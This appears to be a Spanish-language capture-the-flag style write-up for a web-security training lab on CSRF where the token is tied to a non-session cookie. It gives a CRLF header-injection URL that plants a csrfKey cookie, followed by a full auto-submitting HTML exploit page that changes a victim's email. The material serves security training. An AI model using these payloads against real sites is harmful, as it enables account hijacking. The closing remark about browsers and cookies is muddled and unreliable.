05 - CSRF where token is tied to non-session cookie
Las combinaciones de csrf key - csrf token son válidas para cualquier sesión.
Por lo que tenemos que hacer que el usuario primero inyecte la cookie csrf key y luego enviar el csrf token en el post al cambiar el correo.
Para inyectar la cookie, tendría que hacer un fetch a :
https://0a10000d0327290d8097fd6400920097.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=VtTjnFHqWa5mjL2xYkF6JNDk3kJsk8oU%3b%20SameSite=None
Luego cuando hagamos el csrf , proporcionamos el token:
<html>
<!-- Añadimos la cookie csrfKey -->
<script>fetch('https://0a10000d0327290d8097fd6400920097.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=VtTjnFHqWa5mjL2xYkF6JNDk3kJsk8oU%3b%20SameSite=None',{credentials:'include'})</script>
<!-- Enviamos el csrf token que se corresponde con la key -->
<body>
<form action="https://0a10000d0327290d8097fd6400920097.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test0000@test.com" />
<input type="hidden" name="csrf" value="6L2N9HUMHoG1V1RB1RIYfM6PYPgMQZEb" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Los navegadores modernos no permiten modificar las cookies porque los navegadores modernos bloquean la modificación manual de la cabecera Cookie desde JavaScript.